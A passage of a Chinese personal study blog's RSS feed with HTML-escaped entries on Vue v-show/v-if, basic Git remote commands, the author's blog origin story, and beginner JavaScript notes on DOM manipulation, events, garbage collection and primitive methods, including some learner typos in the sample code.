  &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;app&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Vue&lt;/span&gt;({
    &lt;span style=&#34;color:#a6e22e&#34;&gt;el&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;#app&amp;#34;&lt;/span&gt;,
    &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; {
      &lt;span style=&#34;color:#a6e22e&#34;&gt;isShow&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;,
    },
  });
&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;本质是操纵 dom 元素来切换显示状态，v-if=&amp;ldquo;false&amp;quot;时，将元素从 dom 树中移除&lt;/p&gt;
&lt;p&gt;在使用过程中，频繁的切换用 v-show，不频繁用 v-if，v-show 切换消耗小&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Git关联及取消关联远程仓库操作</title>
      <link>https://weivwang.github.io/studynotes/git%E5%85%B3%E8%81%94%E5%8F%8A%E5%8F%96%E6%B6%88%E5%85%B3%E8%81%94%E8%BF%9C%E7%A8%8B%E4%BB%93%E5%BA%93%E6%93%8D%E4%BD%9C/</link>
      <pubDate>Wed, 28 Apr 2021 21:16:25 +0800</pubDate>
      
      <guid>https://weivwang.github.io/studynotes/git%E5%85%B3%E8%81%94%E5%8F%8A%E5%8F%96%E6%B6%88%E5%85%B3%E8%81%94%E8%BF%9C%E7%A8%8B%E4%BB%93%E5%BA%93%E6%93%8D%E4%BD%9C/</guid>
      <description>&lt;h3 id=&#34;git-关联取消关联远程仓库操作&#34;&gt;git 关联/取消关联远程仓库操作&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;初始化仓库：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;git init&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;git 本地仓库与远程仓库关联：&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;（本地有一个文件夹了，怎么将其与 github 上新建的远程仓库联系起来）&lt;/p&gt;
&lt;p&gt;&lt;code&gt; git remote add origin git@github.com:username/projectname.git&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;输入：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;git remote -v&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;可以看到是否关联成功&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;建立 main 分支&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;git branch -M main&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;将本地仓库推送到远程仓库&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;git push -u origin main&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;取消关联：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;git remote remove origin&lt;/code&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>写在前面</title>
      <link>https://weivwang.github.io/liferecord/%E5%86%99%E5%9C%A8%E5%89%8D%E9%9D%A2/</link>
      <pubDate>Wed, 28 Apr 2021 20:25:53 +0800</pubDate>
      
      <guid>https://weivwang.github.io/liferecord/%E5%86%99%E5%9C%A8%E5%89%8D%E9%9D%A2/</guid>
      <description>&lt;h3 id=&#34;写在前面&#34;&gt;写在前面&lt;/h3&gt;
&lt;p&gt;2020 年大概 12 月，和 3 位朋友一起参加零杯（武大计算机学院零杯网页设计大赛）&lt;/p&gt;
&lt;p&gt;在实验室做了一些前端，自学了 html，css，react.js 的部分内容，借此机会提升自己的前端技能&lt;/p&gt;
&lt;p&gt;毛概课上，在后排摸 🐟 时&lt;/p&gt;
&lt;p&gt;ziyi 问我，你有博客吗？&lt;/p&gt;
&lt;p&gt;我说：没&lt;/p&gt;
&lt;p&gt;z：你可以搭一个，用 hexo&lt;/p&gt;
&lt;p&gt;于是回去之后我尝试使用 hexo 在 github 上搭建了一个博客&lt;/p&gt;
&lt;p&gt;更新了几次后就忘记了&lt;/p&gt;
&lt;p&gt;今年偶然进入 WHUMSC 群里的 luoosu 的个人博客，简约但惊艳&lt;/p&gt;
&lt;p&gt;看了一下是基于 hugo 的，于是我萌生了重新搭建博客的想法。&lt;/p&gt;
&lt;p&gt;2021-4-27 搭建成功&lt;/p&gt;
&lt;p&gt;2021-10-29 重新修复&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Js_learning</title>
      <link>https://weivwang.github.io/studynotes/js_learning/</link>
      <pubDate>Wed, 28 Apr 2021 16:44:41 +0800</pubDate>
      
      <guid>https://weivwang.github.io/studynotes/js_learning/</guid>
      <description>&lt;h2 id=&#34;dom2021-1-31&#34;&gt;DOM(2021-1-31)&lt;/h2&gt;
&lt;h4 id=&#34;dom-简介&#34;&gt;DOM 简介&lt;/h4&gt;
&lt;p&gt;Document Object Model ，是 W3C 推荐的处理可扩展标记语言 HTML 或 XML 的标准编程 &lt;em&gt;接口&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;用来改变网页的内容，样式等&lt;/p&gt;
&lt;p&gt;页面 = 文档，用 document 表示&lt;/p&gt;
&lt;p&gt;元素 = 标签： 用 element 表示&lt;/p&gt;
&lt;p&gt;节点：所有内容（属性，标签，文本，注释）都是节点，用 node 表示&lt;/p&gt;
&lt;p&gt;DOM 把以上内容都看作对象&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&#34;获取元素&#34;&gt;获取元素&lt;/h4&gt;
&lt;p&gt;ID ： &lt;code&gt;document.getElementById(id)&lt;/code&gt;，返回匹配 id 的元素对象，id 是字符串&lt;/p&gt;
&lt;p&gt;&lt;code&gt;console.dir()&lt;/code&gt;打印元素对象，查看其中的属性和方法&lt;/p&gt;
&lt;p&gt;标签名：&lt;code&gt;document.getElementByTagName()&lt;/code&gt;，返回伪数组&lt;/p&gt;
&lt;p&gt;&lt;code&gt;element.getElementByTagName()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;H5：通过类名，&lt;code&gt;document.getElementByClassName()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;document.querySelector(&#39;.box&#39;)&lt;/code&gt; 类 。返回指定选择器的第一个元素对象&lt;/p&gt;
&lt;p&gt;&lt;code&gt;document.querySelector(&#39;#nav&#39;) &lt;/code&gt; id&lt;/p&gt;
&lt;p&gt;&lt;code&gt;document.body&lt;/code&gt;之类的也行&lt;/p&gt;
&lt;h4 id=&#34;事件&#34;&gt;事件&lt;/h4&gt;
&lt;p&gt;三部分：事件源，事件类型，事件处理程序&lt;/p&gt;
&lt;p&gt;&lt;code&gt;var btn = document.getElementById(&#39;btn&#39;); &lt;/code&gt;//事件源：按钮&lt;/p&gt;
&lt;p&gt;btn.oncliick = function(){ //事件类型：点击&lt;/p&gt;
&lt;p&gt;alert(&amp;lsquo;按钮被点击&amp;rsquo;); //事件处理程序&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;&lt;code&gt;element.InnerText&lt;/code&gt; 来改元素内容，不识别 HTML 标签，非标准，去掉空格和换行&lt;/p&gt;
&lt;p&gt;&lt;code&gt;element.InnerHTML&lt;/code&gt;能识别 html 标签，用的更多&lt;/p&gt;
&lt;h3 id=&#34;2021-2-2&#34;&gt;2021-2-2&lt;/h3&gt;
&lt;p&gt;密码框显示密码常用这样：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;flag&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;

&lt;span style=&#34;color:#a6e22e&#34;&gt;Btn&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;onclick&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; () {
  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;flag&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
    &lt;span style=&#34;color:#a6e22e&#34;&gt;pwd&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt;;

    &lt;span style=&#34;color:#a6e22e&#34;&gt;flag&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; {
    &lt;span style=&#34;color:#a6e22e&#34;&gt;pwd&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;password&amp;#34;&lt;/span&gt;;

    &lt;span style=&#34;color:#a6e22e&#34;&gt;flag&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;
  }
};
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;js 修改 css&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;属性采用驼峰命名&lt;/p&gt;
&lt;p&gt;element.style.backgroundColor = &#39; &amp;lsquo;，改的是行内样式&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关闭淘宝二维码案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用&lt;code&gt;display:none&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;btn&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; document.&lt;span style=&#34;color:#a6e22e&#34;&gt;querySelector&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;.close-btn&amp;#34;&lt;/span&gt;);
&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;box&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; document.&lt;span style=&#34;color:#a6e22e&#34;&gt;querySelector&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;.box&amp;#34;&lt;/span&gt;);
&lt;span style=&#34;color:#a6e22e&#34;&gt;btn&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;onclick&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; () {
  &lt;span style=&#34;color:#a6e22e&#34;&gt;box&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;style&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;display&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;none&amp;#34;&lt;/span&gt;;
};
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;循环精灵图案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;for 循环修改 background-position&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;lis&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; document.&lt;span style=&#34;color:#a6e22e&#34;&gt;querySelectorAll&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;li&amp;#34;&lt;/span&gt;);
&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;lis&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;length&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;) {
  &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;index&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;44&lt;/span&gt;;
  &lt;span style=&#34;color:#a6e22e&#34;&gt;lis&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;].&lt;span style=&#34;color:#a6e22e&#34;&gt;style&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;backgroundPisition&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0 -&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;index&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;px&amp;#34;&lt;/span&gt;;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;焦点事件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;element.onfocus&lt;/code&gt;获得焦点&lt;/p&gt;
&lt;p&gt;&lt;code&gt;element.onblur&lt;/code&gt;失去焦点&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;element.className 直接改类名，适合样式改的 比较多的时候&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;操作元素&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//获取
element.attribute	//获取内置属性
element.getAttribute(&#39;id&#39;) //可以获取自定义属性,最常用
//h5新增
div.dataset.index

//修改
element.attribute = &#39; &#39;
element.setAttribute(&#39;id&#39;,nav) //可以修改自定义属性
改className就直接&#39;class&#39;，不用className
&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;节点操作&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1，通过 DOM 操作，逻辑性不强，操作复杂&lt;/p&gt;
&lt;p&gt;2，利用节点操作，更简单&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;parentNode //离节点最近的父级节点，找不到就返回为null
childNodes //子节点，包含文本节点，元素节点等,标准

//只想获得元素节点，需要专门处理(用nodeType来判断，所以一般不用)
children //获取所有的子元素节点，常用
firstElementChild //第一个子元素节点
lastElementChild //最后，这两个都有兼容问题

//实际开发写法：
children[0]
children[length-1]
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;垃圾回收&#34;&gt;垃圾回收&lt;/h3&gt;
&lt;p&gt;参考资料：https://zh.javascript.info/garbage-collection&lt;/p&gt;
&lt;p&gt;JavaScript 中主要的内存管理概念是 &lt;strong&gt;可达性&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;简而言之，“可达”值是那些以某种方式可访问或可用的值。它们一定是存储在内存中的。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;这里列出固有的可达值的基本集合，这些值明显不能被释放。&lt;/p&gt;
&lt;p&gt;比方说：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当前函数的局部变量和参数。&lt;/li&gt;
&lt;li&gt;嵌套调用时，当前调用链上所有函数的变量与参数。&lt;/li&gt;
&lt;li&gt;全局变量。&lt;/li&gt;
&lt;li&gt;（还有一些内部的）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些值被称作 &lt;strong&gt;根（roots）&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果一个值可以通过引用或引用链从根访问任何其他值，则认为该值是可达的。&lt;/p&gt;
&lt;p&gt;比方说，如果全局变量中有一个对象，并且该对象有一个属性引用了另一个对象，则 &lt;strong&gt;该&lt;/strong&gt; 对象被认为是可达的。而且它引用的内容也是可达的。下面是详细的例子。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在 JavaScript 引擎中有一个被称作 &lt;a href=&#34;https://en.wikipedia.org/wiki/Garbage_collection_(computer_science)&#34;&gt;垃圾回收器&lt;/a&gt; 的东西在后台执行。它监控着所有对象的状态，并删除掉那些已经不可达的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/17/2xzqVyIKjRQnbok.png&#34; alt=&#34;image-20211117160809991&#34;&gt;&lt;/p&gt;
&lt;p&gt;Object是可达的，若： user = null;&lt;/p&gt;
&lt;p&gt;则：&lt;img src=&#34;https://i.loli.net/2021/11/17/lw76DdLcKbvX32h.png&#34; alt=&#34;image-20211117160906622&#34;&gt;&lt;/p&gt;
&lt;p&gt;变为不可达了，垃圾回收器会进行回收，释放内存。&lt;/p&gt;
&lt;p&gt;JS引擎做的优化：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;分代收集（Generational collection）&lt;/strong&gt;—— 对象被分成两组：“新的”和“旧的”。许多对象出现，完成它们的工作并很快死去，它们可以很快被清理。那些长期存活的对象会变得“老旧”，而且被检查的频次也会减少。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;增量收集（Incremental collection）&lt;/strong&gt;—— 如果有许多对象，并且我们试图一次遍历并标记整个对象集，则可能需要一些时间，并在执行过程中带来明显的延迟。所以引擎试图将垃圾收集工作分成几部分来做。然后将这几部分会逐一进行处理。这需要它们之间有额外的标记来追踪变化，但是这样会有许多微小的延迟而不是一个大的延迟。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;闲时收集（Idle-time collection）&lt;/strong&gt;—— 垃圾收集器只会在 CPU 空闲时尝试运行，以减少可能对代码执行的影响。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;原始类型的方法&#34;&gt;原始类型的方法&lt;/h3&gt;
&lt;p&gt;参考资料：https://zh.javascript.info/primitives-methods&lt;/p&gt;
&lt;p&gt;原始类型和对象之间的关键区别。&lt;/p&gt;
&lt;p&gt;一个原始值：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;是原始类型中的一种值。&lt;/li&gt;
&lt;li&gt;在 JavaScript 中有 7 种原始类型：&lt;code&gt;string&lt;/code&gt;，&lt;code&gt;number&lt;/code&gt;，&lt;code&gt;bigint&lt;/code&gt;，&lt;code&gt;boolean&lt;/code&gt;，&lt;code&gt;symbol&lt;/code&gt;，&lt;code&gt;null&lt;/code&gt; 和 &lt;code&gt;undefined&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一个对象：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;能够存储多个值作为属性。&lt;/li&gt;
&lt;li&gt;可以使用大括号 &lt;code&gt;{}&lt;/code&gt; 创建对象，例如：&lt;code&gt;{name: &amp;quot;John&amp;quot;, age: 30}&lt;/code&gt;。JavaScript 中还有其他种类的对象，例如函数就是对象。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;JavaScript 创建者面临的悖论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;人们可能想对诸如字符串或数字之类的原始类型执行很多操作。最好将它们作为方法来访问。&lt;/li&gt;
&lt;li&gt;原始类型必须尽可能的简单轻量&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为了使原始类型的方法起作用，js创建了提供额外功能的特殊“对象包装器”，使用后即被销毁。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;（可以联系JAVA的包装类来思考？）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;例如：&lt;/p&gt;
&lt;p&gt;例如，字符串方法 &lt;a href=&#34;https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/String/toUpperCase&#34;&gt;str.toUpperCase()&lt;/a&gt; 返回一个大写化处理的字符串。&lt;/p&gt;
&lt;p&gt;用法演示如下：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;str&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;;

&lt;span style=&#34;color:#a6e22e&#34;&gt;alert&lt;/span&gt;( &lt;span style=&#34;color:#a6e22e&#34;&gt;str&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;toUpperCase&lt;/span&gt;() ); &lt;span style=&#34;color:#75715e&#34;&gt;// HELLO
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;发生了如下过程：&lt;/p&gt;
&lt;p&gt;1，为了访问toUpperCase()方法，js创建了一个对象，对象里面存放了hello以及toUpperCase()方法&lt;/p&gt;
&lt;p&gt;2，程序调用toUpperCase()方法&lt;/p&gt;
&lt;p&gt;3，调用完毕，js销毁该对象，只留下原始值str&lt;/p&gt;
&lt;p&gt;这样可以保证原始类型依然是轻量的&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/18/2Y8qhBZSI5LCMpV.png&#34; alt=&#34;image-20211118150021239&#34;&gt;&lt;/p&gt;
&lt;p&gt;这个例子很好地说明了上面的一点，并且表明原始类型无法添加额外的属性。其实要使用额外的属性，直接自己创建一个对象就好了。&lt;/p&gt;
&lt;h3 id=&#34;常用方法&#34;&gt;常用方法&lt;/h3&gt;
&lt;h4 id=&#34;数字类型&#34;&gt;数字类型&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;toString&lt;/span&gt;();
Math.&lt;span style=&#34;color:#a6e22e&#34;&gt;floor&lt;/span&gt;();&lt;span style=&#34;color:#75715e&#34;&gt;//向下舍入
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;Math.&lt;span style=&#34;color:#a6e22e&#34;&gt;ceil&lt;/span&gt;();&lt;span style=&#34;color:#75715e&#34;&gt;//向上舍入
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;Math.&lt;span style=&#34;color:#a6e22e&#34;&gt;round&lt;/span&gt;();&lt;span style=&#34;color:#75715e&#34;&gt;//四舍五入
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;toFixed&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;n&lt;/span&gt;);&lt;span style=&#34;color:#75715e&#34;&gt;//舍入小数点n位 ，return string
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;parseInt &lt;span style=&#34;color:#a6e22e&#34;&gt;和&lt;/span&gt; parseFloat&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;：&lt;/span&gt;
&lt;span style=&#34;color:#a6e22e&#34;&gt;它们可以从字符串中&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;“&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;读取&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;”&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;数字&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;，&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;直到无法读取为止&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;。&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;如果发生&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;error&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;，&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;则返回收集到的数字&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;。&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;函数&lt;/span&gt; parseInt &lt;span style=&#34;color:#a6e22e&#34;&gt;返回一个整数&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;，&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;而&lt;/span&gt; parseFloat &lt;span style=&#34;color:#a6e22e&#34;&gt;返回一个浮点数&lt;/span&gt;
Math.&lt;span style=&#34;color:#a6e22e&#34;&gt;random&lt;/span&gt;() &lt;span style=&#34;color:#75715e&#34;&gt;//0-1随机数
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;Math.&lt;span style=&#34;color:#a6e22e&#34;&gt;max&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;a&lt;/span&gt;,&lt;span style=&#34;color:#a6e22e&#34;&gt;b&lt;/span&gt;,&lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;,....)
Math.&lt;span style=&#34;color:#a6e22e&#34;&gt;min&lt;/span&gt;();
Math.&lt;span style=&#34;color:#a6e22e&#34;&gt;pow&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;n&lt;/span&gt;,&lt;span style=&#34;color:#a6e22e&#34;&gt;power&lt;/span&gt;);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;注意这种问题：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/18/ND9QsSZYprmIija.png&#34; alt=&#34;image-20211118151253901&#34;&gt;&lt;/p&gt;
&lt;h4 id=&#34;字符串&#34;&gt;字符串&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;str&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;lenght&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;//是一个属性
